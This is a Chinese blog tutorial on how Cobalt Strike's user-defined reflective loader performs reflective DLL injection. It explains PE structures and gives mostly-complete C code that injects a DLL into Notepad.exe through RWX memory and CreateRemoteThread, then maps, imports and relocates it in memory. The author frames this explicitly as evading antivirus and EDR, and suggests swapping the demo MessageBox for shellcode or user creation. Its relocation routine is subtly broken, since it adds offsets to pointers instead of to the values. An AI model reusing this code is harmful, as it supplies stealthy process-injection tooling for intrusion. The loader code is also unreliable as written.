大家好,我是r0leG3n7。本文将介绍Cobalt Strike(下文简称CS)的UDRL(User Defined Reflective Loader,即用户自定义反射加载器)的RDI(Reflective Dll Inject,即反射dll注入)的实现。CS的UDRL是前置式的RDI,本文主要包括反射dll加载器的代码实现和反射dll的代码实现两大部分,我会尽量以相似且精简的代码去告诉大家CS的UDRL是怎么工作的和它的代码是怎么实现的。通过本文的学习,你可以了解到CS这款C2框架在进行dll注入时是如何隐藏一些敏感行为或特征来规避杀软的检测。转眼间二个多月没更新了,还是老规矩给大家滑跪道个歉,这篇文章本来四月就应该发出来了,但我要等这篇文章在网安一哥社区发布我才能发公众号,网安一哥社区给我的文章排期排到了五月份。而且我最近不知道是不是因为熬夜搞得精神状态不太好,每天累得像X片里睡不醒的无能丈夫,对工作冷漠得像电车里看手机的乘客,这导致我没法集中精力去写好一篇文章,所以拖更了...我本来想着更新完BOF开发以后就不再更新Cobalt Strike相关的东西了,因为Cobalt Strike现在的生存环境太差了,让大家深入学习有点让大家误入歧途的嫌疑,但是有很多很多师傅希望我继续更新Cobalt Strike相关的东西,后来考虑了一下还是决定继续更新这个Cobalt Strike特征消除这个篇章,后面会把域前置(云函数转发)、SleepMask之类的都介绍一下,大家敬请期待!如有任何错误和不足欢迎各位师傅指正,转载请注明文章出处。本文首发于奇安信攻防社区,原文地址:
https://forum.butian.net/share/4323
程序的真正入口地址=程序的加载地址(基址)+ PE扩展头(OptionalHeader)的AddressOfEntryPoint。一般来说,基址是PE扩展头中的ImageBase,但实际上基址是程序运行时随机分配的。(可以解决ImageBase内存镜像基址冲突问题,如果多个exe或dll的都用相同ImageBase作为基址,程序就无法运行了
相对虚拟地址RVA(relative virtual address),PE文件加载进内存后的相对于基址的偏移地址。
文件偏移或者说文件地址(FA),是数据在文件中的实际地址,通常为连续存储。
数据文件偏移地址=节表文件偏移地址(PointerToRawData)+节内偏移地址
节内偏移(内存中的偏移) = 数据RVA - 节表内存偏移地址(SectionHeader的VirtualAddress)
如果数据RVA大于节表内存偏移地址且节内偏移不大于SectionHeader的Misc.VirtualSize,证明该数据已经初始化在该节表内。
VA(virtual address),PE文件加载进内存后的虚拟地址,虚拟地址(VA)由基址和相对虚拟地址相加得到,虚拟地址通常不是连续存储。
内存对齐和文件对齐是PE文件设计中“空间换时间”和“时间换空间”的典型权衡。文件对齐优化存储效率,而内存对齐优化运行性能,两者共同确保程序在磁盘和内存中的高效表现。
PE文件在磁盘上存储时,每个段的起始位置必须是 文件对齐值(PE文件扩展头的FileAlignment) 的整数倍。对齐值通常为 0x200(512字节),与磁盘扇区大小一致。
当PE文件被加载到内存时,每个段(Section,如.text、.data等)的起始地址必须是 内存对齐值(PE文件扩展头的SectionAlignment) 的整数倍。对齐值通常为 0x1000(4096字节,即4KB),与操作系统的内存分页大小一致。
重定位表的作用是当程序无法加载到预设的基址(ImageBase
)时,修正代码中的绝对地址。重定位表结构如下:
typedef struct _IMAGE_BASE_RELOCATION {
DWORD VirtualAddress; //与数据目录中重定位表的 VirtualAddress不同,这个表示当前重定位块对应的内存页的 RVA
DWORD SizeOfBlock;
} IMAGE_BASE_RELOCATION;
typedef IMAGE_BASE_RELOCATION UNALIGNED * PIMAGE_BASE_RELOCATION;
重定位项结构体如下,Type告诉加载器如何修正地址,Offset告诉加载器修正地址的位置。
typedef struct _RELOC_ENTRY {
uint16_t Offset : 12; // 低12位表示偏移
uint16_t Type : 4; // 高4位表示类型,指示如何执行重定位
} RELOC_ENTRY;
Type类型
导入表明确列出程序运行所需的DLL和函数,如User32.dll的MessageBox等。在程序加载时,操作系统(加载器)会根据导入表的信息,将DLL加载到内存,并填充函数的实际地址到导入地址表(IAT, Import Address Table)中,供程序调用。导入表由导入目录表(IMAGE_IMPORT_DESCRIPTOR数组)、IAT和INT组成,每个被导入的DLL对应一个IMAGE_IMPORT_DESCRIPTOR结构,数组以全零结构结束。
typedef struct _IMAGE_IMPORT_DESCRIPTOR {
union {
DWORD Characteristics;
DWORD OriginalFirstThunk; //指向 INT(Import Name Table) 的RVA,存储函数名称或序号(在文件中只读)
} DUMMYUNIONNAME;
DWORD TimeDateStamp;
DWORD ForwarderChain;
DWORD Name;
DWORD FirstThunk; //指向 IAT(Import Address Table)的RVA,加载时会被替换为实际函数地址
} IMAGE_IMPORT_DESCRIPTOR;
typedef IMAGE_IMPORT_DESCRIPTOR UNALIGNED *PIMAGE_IMPORT_DESCRIPTOR;
PE文件加载前
PE文件加载后
INT(Import Name Table)即名称导入表,INT的作用是存储函数名称或序号(未加载时的原始数据),由连续的IMAGE_THUNK_DATA64(64位)或IMAGE_THUNK_DATA32(32位)结构体组成,最后一个项为全零。INT通常由IMAGE_IMPORT_DESCRIPTOR结构中的OriginalFirstThunk字段指向。
typedef struct _IMAGE_THUNK_DATA32 {
union {
DWORD ForwarderString;
DWORD Function; // 函数地址(加载后)
DWORD Ordinal; // 按序号导入时的高位标志 + 序号
DWORD AddressOfData; // PIMAGE_IMPORT_BY_NAME
} u1;
} IMAGE_THUNK_DATA32;
按名称导入:u1.AddressOfData指向IMAGE_IMPORT_BY_NAME结构的RVA。
typedef struct _IMAGE_IMPORT_BY_NAME {
WORD Hint; // 导出表中的序号(可选)
CHAR Name[1]; // 以NULL结尾的函数名称字符串
} IMAGE_IMPORT_BY_NAME;
按序号导入:u1.Ordinal的最高位为1(IMAGE_ORDINAL_FLAG64),低16位为序号。
IAT(Import Address Table)即导入地址表。
作用:在文件加载前与INT内容相同,加载后被替换为实际函数地址。
位置:由FirstThunk字段指向的RVA。
运行时修改:Windows加载器将IAT中的每个条目替换为真实的函数地址。
NTSTATUS NtFlushInstructionCache(
HANDLE ProcessHandle, //进程句柄,指定要刷新的进程。
PVOID BaseAddress, //要刷新的指令缓存的起始地址。
SIZE_T Length //要刷新的指令缓存的长度
);
//定义需要加载的dll文件路径
const char* peFilePath = "ReflectDll_x64_Dll_New.dll";
//读取文件,创建文件句柄
HANDLE hFile = CreateFileA(peFilePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("Failed to open PE filen");
return 0;
}
// 获取文件大小
DWORD fileSize = GetFileSize(hFile, NULL);
// 创建文件映射
HANDLE hMapping = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL); //如果需要将内存对齐以后的dll映射进内存,需要加上SEC_IMAGE
if (hMapping == NULL) {
printf("Failed to create file mappingn");
CloseHandle(hFile);
return 0;
}
// 创建映射视图
LPVOID fileBase = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
if (fileBase == NULL) {
printf("Failed to create file viewn");
CloseHandle(hMapping);
CloseHandle(hFile);
return 0;
}
//自定义五个字节的数据,方便到时候定位反射dll的基址
const char HEADER[5] = { 0x1a, 0x1b, 0x1c, 0x2d, 0xc1 };
const size_t HEADER_SIZE = 5 * sizeof(CHAR);
const wchar_t* targetPname = L"Notepad.exe";
//获取远程进程PID
DWORD targetPid = FindProcPid(targetPname);
//获取远程进程句柄
HANDLE targetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid);
if (targetProcessHandle == NULL)
{
printf("failed to open target process!n");
return 0;
}
//为远程进程分配内存
PBYTE startAddress = (PBYTE)VirtualAllocEx(targetProcessHandle, NULL, fileSize +HEADER_SIZE, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (startAddress==NULL)
{
printf("fail to alloc memoryn");
return 0;
}
//将五个用于定位dll基址的五个字节注入到远程进程
size_t bytesWritten = 0;
if (!WriteProcessMemory(targetProcessHandle, startAddress, HEADER, HEADER_SIZE, &bytesWritten))
{
printf("fail to write headern");
return 0;
}
//将反射dll文件对齐后的数据注入到远程进程
if (!WriteProcessMemory(targetProcessHandle, startAddress+ HEADER_SIZE, fileBase, fileSize, &bytesWritten))
{
printf("fail to write dlln");
return 0;
}
获取远程进程PID函数
DWORD FindProcPid(const wchar_t* processName) {
HANDLE hProcessSnap = NULL;
BOOL bRet = FALSE;
PROCESSENTRY32 pe32 = { 0 };
DWORD dwProcessId=0;
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
pe32.dwSize = sizeof(PROCESSENTRY32);
if (hProcessSnap != INVALID_HANDLE_VALUE) {
bRet = Process32First(hProcessSnap, &pe32);
while (bRet) {
if (!_wcsicmp(pe32.szExeFile, processName)) {
dwProcessId = pe32.th32ProcessID;
break;
}
bRet = Process32Next(hProcessSnap, &pe32);
}
}
return dwProcessId;
}
char funName[] = { 'i', 'n', 'i', 't', 'R', 'e', 'f', 'l', 'e', 'c', 't','L', 'o', 'a', 'd','e', 'r', 0 };
//获取反射Dll加载函数的文件偏移
DWORD reflectLoaderFA = getTargetFunctionFA(fileBase, (char *)funName);
PBYTE pReflectLoader = NULL;
if (reflectLoaderFA != 0)
{
//获取反射dll导出函数在磁盘中的地址
pReflectLoader = startAddress + reflectLoaderFA + HEADER_SIZE;
printf("find reflectLoaderFA:%p n", pReflectLoader);
}
else
{
printf("failed to find reflectLoaderFA n");
return 0;
}
getTargetFunctionFA函数用于获取导出函数的文件偏移
DWORD getTargetFunctionFA(LPVOID dllHandle, char* functionName)
{
PIMAGE_DOS_HEADER pDosHEADER = (PIMAGE_DOS_HEADER)dllHandle;
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((ULONG_PTR)dllHandle + pDosHEADER->e_lfanew);
IMAGE_OPTIONAL_HEADER optional_Header = pNtHeader->OptionalHeader;
PIMAGE_SECTION_HEADER pSections = NULL;
PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((ULONG_PTR)dllHandle + RvaToFileOffset(pNtHeader,optional_Header.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress));
DWORD* pNameList = (DWORD*)((ULONG_PTR)dllHandle + RvaToFileOffset(pNtHeader, pExportDirectory->AddressOfNames));
DWORD* pFunList = (DWORD*)((ULONG_PTR)dllHandle + RvaToFileOffset(pNtHeader, pExportDirectory->AddressOfFunctions));
for (size_t i = 0; i < pExportDirectory->NumberOfNames; i++)
{
char* nameStr = (char*)dllHandle + RvaToFileOffset(pNtHeader, pNameList[i]);
if (!scmp(nameStr, functionName)) //scmp是一个自实现的字符串比较函数,跟strcmp函数实现的功能相同
{
printf("%sn", nameStr);
return RvaToFileOffset(pNtHeader, pFunList[i]);
}
}
return 0;
}
RvaToFileOffset函数用于将相对虚拟地址转化为文件偏移
DWORD RvaToFileOffset(IMAGE_NT_HEADERS64* ntHeaders, DWORD rva) {
if (rva == 0)
{
return 0;
}
IMAGE_SECTION_HEADER* section = IMAGE_FIRST_SECTION(ntHeaders);
for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++, section++) {
DWORD sectionVA = section->VirtualAddress;
DWORD sectionSize = section->Misc.VirtualSize;
if (rva >= sectionVA && rva < sectionVA + sectionSize) {
return section->PointerToRawData + (rva - sectionVA);
}
}
return 0;
}
DWORD threadId = 0x0;
HANDLE hThread = CreateRemoteThread(
targetProcessHandle, //目标进程句柄
NULL, // 安全属性
0, // 默认堆栈大小
(LPTHREAD_START_ROUTINE)pReflectLoader, // 线程函数
NULL, // 参数
0, // 创建标志
&threadId // 线程ID
);
//关闭句柄和文件映射
UnmapViewOfFile(fileBase);
CloseHandle(hMapping);
CloseHandle(hFile);
第一个弊端就是dll的文件落地问题,即使dll文件静态检测对抗和反沙箱做得再好,也无可避免的会被云传或者人工分析(这时候你可能会问上面反射dll加载器的"读取dll文件并映射进内存"的步骤中的代码不就是加载了一个已经文件落地的名为ReflectDll_x64_Dll_New.dll吗?那是我为了方便大家读懂代码故意这样名命的,在实战中用反射dll注入我肯定会把这个dll文件加密并将其文件后缀改为非".dll"的文件后缀;或者我直接把这个dll文件数据加密嵌入到PE文件的资源文件或者节表中再读入内存,就好像一段shellcode一样,实际上反射dll加载函数的实现过程跟自己写一段shellcode大差不差。而普通的dll注入就必须要加载一个某路径下以XXX.dll命名的动态链接库)。
第二弊端就是Loadbrary这个Windows API函数问题,我们一般普通的dll注入就是CreateRemoteThread+Loadbrary这一套经典组合拳,无论我们怎么去自实现、去Hook调用CreateRemoteThread和Loadbrary这两个Windows API,都无法逃避装了驱动的杀软和EDR在ring0的监控,CreateRemoteThread+Loadbrary这一套经典组合拳在EDR眼里是非常敏感的,这个组合调用累计到一定次数就会被EDR标记。
而反射dll注入能完美解决这两个弊端:1、反射Dll可以以加密的网络数据流、图片数据、PE文件数据等形式灵活读取进内存,无需以.dll文件形式落地,是比较Opsec手法;2、反射Dll执行自身主函数时是通过自身的导出函数实现的,不依赖可能会被监控的Loadbrary等Windows API函数。在EDR眼里反射dll加载器只不过就是读取了一些数据(但不知道是dll文件数据),为远程进程分配了内存并创建了一个远程线程,并不知道恶意程序其实已经加载了一个dll文件。(创建远程线程 这个行为也可以通过syscall各种门去规避,这里的代码暂时不展示,尽量以最精简的代码让大家了解UDRL,其实大家也怎么不需要去了解UDRL怎么混淆,因为新版本的C2 profile都可以配置)
反射dll加载函数的代码不能直接调用Windows API以及一些需要链接以后才能调用的函数,比如内存分配函数、字符串比较函数等,这些必须用到的函数都需要自实现或者动态调用,反射dll加载函数写入内存以后就是一段与地址无关的二进制代码,分配内存并创建线程就可以直接调用那种。
typedef struct _DLL_HEADER {
DWORD header;
CHAR key;
} DLL_HEADER, * PDLL_HEADER;
extern "C" __declspec(dllexport) BOOL initReflectLoader() {
/*--------------初始化变量--------------*/
PIMAGE_DOS_HEADER pDosHeader = NULL;
PIMAGE_NT_HEADERS pNtHeader = NULL;
/*--------------定位dll基址--------------*/
ULONG_PTR dllStartAddress = (ULONG_PTR)initReflectLoader;
PDLL_HEADER pDllHeader = NULL;
while (TRUE)
{
pDllHeader = (PDLL_HEADER)dllStartAddress;
//判断是否为自定义的字节
if (pDllHeader->header == 0x2d1c1b1a) {
pDosHeader = (PIMAGE_DOS_HEADER)(dllStartAddress + (5 * sizeof(CHAR)));
//判断是否为合法的DOS头
if (pDosHeader->e_magic == IMAGE_DOS_SIGNATURE)
{
pNtHeader = (PIMAGE_NT_HEADERS)(dllStartAddress + pDosHeader->e_lfanew + (5 * sizeof(CHAR)));
//判断是否为合法的NT头签名
if (pNtHeader->Signature == IMAGE_NT_SIGNATURE) {
break;
}
}
}
//向上遍历
dllStartAddress--;
}
if (!dllStartAddress)
return FALSE;
//获取dll基址
dllStartAddress = dllStartAddress + (5 * sizeof(CHAR));
DWORD imageSize = pNtHeader->OptionalHeader.SizeOfImage;
/*--------------分配新的内存地址--------------*/
//动态调用VirtualAlloc函数
pVirtualAlloc virtualAlloc = (pVirtualAlloc)procAddress(kerne132, virtualAllocStr);
//分配内存
PBYTE newAddress = (PBYTE)virtualAlloc(NULL, imageSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (newAddress == NULL)
return FALSE;
PIMAGE_SECTION_HEADER* pSections = (PIMAGE_SECTION_HEADER*)virtualAlloc(NULL, sizeof(PIMAGE_SECTION_HEADER)*pNtHeader->FileHeader.NumberOfSections, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pSections == NULL)
return FALSE;
/*--------------复制节表,内存对齐--------------*/
for (int i = 0; i < pNtHeader->FileHeader.NumberOfSections; i++) {
//第一个节表的地址等于 Nt头地址+签名大小(4)+文件头大小(20)+扩展头大小
pSections[i] = (PIMAGE_SECTION_HEADER)(((PBYTE)pNtHeader) + 4 + 20 + pNtHeader->FileHeader.SizeOfOptionalHeader + (i * IMAGE_SIZEOF_SECTION_HEADER));
}
for (int i = 0; i < pNtHeader->FileHeader.NumberOfSections; i++) {
PVOID pDEST = (PVOID)(newAddress + pSections[i]->VirtualAddress);
PVOID pSRC = (PVOID)(dllStartAddress + pSections[i]->PointerToRawData);
//_myMemcpy是自实现的内存复制函数,跟memcpy()函数的功能是一样的
_myMemcpy(pDEST,pSRC, pSections[i]->SizeOfRawData);
}
/*--------------修复导入表--------------*/
PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor = NULL;
for (size_t i = 0; i < pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size; i+=sizeof(IMAGE_IMPORT_DESCRIPTOR))
{
//获取导入表虚拟地址
pImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(newAddress + pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + i);
if (pImportDescriptor->FirstThunk == NULL && pImportDescriptor->OriginalFirstThunk == NULL)
break;
//loadLib是自实现的LoadLibrary函数,用于获取dll模块的句柄
HMODULE tmpDll = loadLib((LPSTR)(newAddress+pImportDescriptor->Name));
if (tmpDll == NULL)
return FALSE;
//获取IAT地址,等下需要将函数地址重新填充进去
PIMAGE_THUNK_DATA64 pIAT = (PIMAGE_THUNK_DATA64)(newAddress + pImportDescriptor->FirstThunk);
//获取INT地址,获取u1.Ordinal用于判断函数是名称导入还是序号导入
PIMAGE_THUNK_DATA64 pINT = (PIMAGE_THUNK_DATA64)(newAddress + pImportDescriptor->OriginalFirstThunk);
//遍历IAT和INT,填充函数地址
while (pINT->u1.Function!=NULL && pIAT->u1.Function!=NULL)
{
//判断IMAGE_THUNK_DATA的最高位是否为1
if (IMAGE_SNAP_BY_ORDINAL64(pINT->u1.Ordinal))
{
//序号导入
int ordinalW = IMAGE_ORDINAL64(pINT->u1.Ordinal);
pIAT->u1.Function = (ULONGLONG)procAddress(tmpDll, (LPCSTR)ordinalW);
}
else
{
//名称导入
PIMAGE_IMPORT_BY_NAME pImportName = (PIMAGE_IMPORT_BY_NAME)((ULONG_PTR)newAddress + pINT->u1.AddressOfData);
pIAT->u1.Function = (ULONGLONG)procAddress(tmpDll, pImportName->Name);
}
pINT++;
pIAT++;
}
}
怎么进行重定位呢?假设dll中某个函数原来的地址=ImageBase+RVA,加载进内存以后基址变为了新基址,这时函数的新地址=新基址+RVA。这其中改变了什么?由于这个函数的RVA保存在节表中是不变的,变化的是新基址减去ImageBase的差值,所以只需将dll文件重定位表中待修正的代码地址加上这个差值,就完成了重定位。
接下来说一下重定位表项的计算,假设有n个重定位项。如果采用直接寻址,每个32位的指针占用4个字节,那重定位项块总大小为4*n节字;如果采用分页机制去寻址,32位指针的高位总是相同的,如果把这些高位统一表示,就可以节省一部分空间,当按照一个内存页来进行分割时,一个页面寻址需要的指针位数是12位(一页等于4096节字,等于2的12次方),把这12位凑齐至16位(2个字节)作为一个字类型的数据,并使用一个附加的双字表示页的起始指针,另一个双字表示页中重定位项数,那么重定位表块的总大小为4+4+2*n,当某个内存页中的重定位项多于4项的时候,后一种方法的占用空间就会比前面的方法要小。重定位表块的大小可以通过IMAGE_BASE_RELOCATION结构体的SizeOfBlock得到,所以重定位项数量n=(IMAGE_BASE_RELOCATION结构体的SizeOfBlock - 4 - 4)/2。
/*--------------修复重定位表--------------*/
//计算需要修正的差值
ULONG_PTR delta = (ULONG_PTR)newAddress - pNtHeader->OptionalHeader.ImageBase;
//计算重定位块地址
PIMAGE_BASE_RELOCATION pBaseRelocation = (PIMAGE_BASE_RELOCATION)(newAddress + pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
WORD* relocBlock = NULL;
while (pBaseRelocation->VirtualAddress!=0)
{
//获取重定位项地址
relocBlock = (WORD*)pBaseRelocation + sizeof(IMAGE_BASE_RELOCATION);
//计算重定位项数量
int numOfRelocBlock = (pBaseRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / 2;
for (size_t i = 0; i < numOfRelocBlock; i++)
{
//获取重定位项类型
WORD type = relocBlock[i] >> 12;
//获取重定位项偏移
WORD offset = relocBlock[i] & 0xFFF;
//全64位修正:需修正整个64位地址,type类型可以查看上面基础知识重定位项type的定义
if (type == IMAGE_REL_BASED_DIR64)
{
DWORD corretRVA = offset + pBaseRelocation->VirtualAddress;
ULONGLONG* pAlloc = (ULONGLONG*)(newAddress + corretRVA);
pAlloc += (ULONGLONG)delta;
}
else if (type == IMAGE_REL_BASED_HIGHLOW)
{
DWORD corretRVA = offset + pBaseRelocation->VirtualAddress;
DWORD* pAlloc = (DWORD*)(newAddress + corretRVA);
pAlloc += (DWORD)delta;
}
else if (type == IMAGE_REL_BASED_HIGH)
{
DWORD corretRVA = offset + pBaseRelocation->VirtualAddress;
WORD* pAlloc = (WORD*)newAddress + corretRVA;
pAlloc += HIWORD(delta);
}
else if (type == IMAGE_REL_BASED_LOW)
{
DWORD corretRVA = offset + pBaseRelocation->VirtualAddress;
WORD* pAlloc = (WORD*)newAddress + corretRVA;
pAlloc += LOWORD(delta);
}
//移动至下一个重定位项
relocBlock++;
}
//移动至下一个重定位块
pBaseRelocation += pBaseRelocation->SizeOfBlock;
}
/*--------------调整各节表属性--------------*/
//动态调用VirtualProtect函数,用于修改内存属性
pVirtualProtect virtualProtect = (pVirtualProtect)procAddress(kerne132,virtualProtectStr);
DWORD dwOldProtection = 0x00;
DWORD dwProtection = 0x00;
for (int i = 0; i < pNtHeader->FileHeader.NumberOfSections; i++) {
if (pSections[i]->Characteristics & IMAGE_SCN_MEM_WRITE) {//只写
dwProtection = PAGE_WRITECOPY;
}
if (pSections[i]->Characteristics & IMAGE_SCN_MEM_READ) {//只读
dwProtection = PAGE_READONLY;
}
if (pSections[i]->Characteristics & IMAGE_SCN_MEM_EXECUTE) {//只执行
dwProtection = PAGE_EXECUTE;
}
if (pSections[i]->Characteristics & IMAGE_SCN_MEM_READ && pSections[i]->Characteristics & IMAGE_SCN_MEM_WRITE) { //可读可写
dwProtection = PAGE_READWRITE;
}
if (pSections[i]->Characteristics & IMAGE_SCN_MEM_EXECUTE && pSections[i]->Characteristics & IMAGE_SCN_MEM_WRITE) { //可写可执行
dwProtection = PAGE_EXECUTE_WRITECOPY;
}
if (pSections[i]->Characteristics & IMAGE_SCN_MEM_EXECUTE && pSections[i]->Characteristics & IMAGE_SCN_MEM_READ) { //可读可执行
dwProtection = PAGE_EXECUTE_READ;
}
if (pSections[i]->Characteristics & IMAGE_SCN_MEM_EXECUTE && pSections[i]->Characteristics & IMAGE_SCN_MEM_READ && pSections[i]->Characteristics & IMAGE_SCN_MEM_WRITE) { //可读可写可执行
dwProtection = PAGE_EXECUTE_READWRITE;
}
if (!virtualProtect((PVOID)(newAddress + pSections[i]->VirtualAddress), pSections[i]->SizeOfRawData, dwProtection, &dwOldProtection)) {
return FALSE;
}
}
/*--------------刷新指定进程的指令缓存--------------*/
pNtFlushInstructionCache pNFIC = (pNtFlushInstructionCache)procAddress(ntd11T, ntFlushInstructionStr);
pNFIC(HANDLE(-1),NULL,0x00);
/*--------------执行入口函数--------------*/
//扩展头的AddressOfEntryPoint是程序的入口地址
pDllMain dllMain = (pDllMain)(newAddress + pNtHeader->OptionalHeader.AddressOfEntryPoint);
return dllMain((HMODULE)newAddress, DLL_PROCESS_ATTACH, NULL);
}
主函数代码
功能是MessageBox弹窗(也可以替换为执行shellcode、添加用户等代码)。
typedef BOOL(WINAPI* pDllMain)(
HINSTANCE,
DWORD,
LPVOID
);
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBoxA(0, "Injected Successfully!", "pwned!!!", MB_OK|MB_ICONINFORMATION);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
运行效果
作者微信👇,欢迎催更和骚扰
原文始发于微信公众号(霓虹预警):Cobalt Strike特征消除第三篇:通过UDRL学习RDI
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论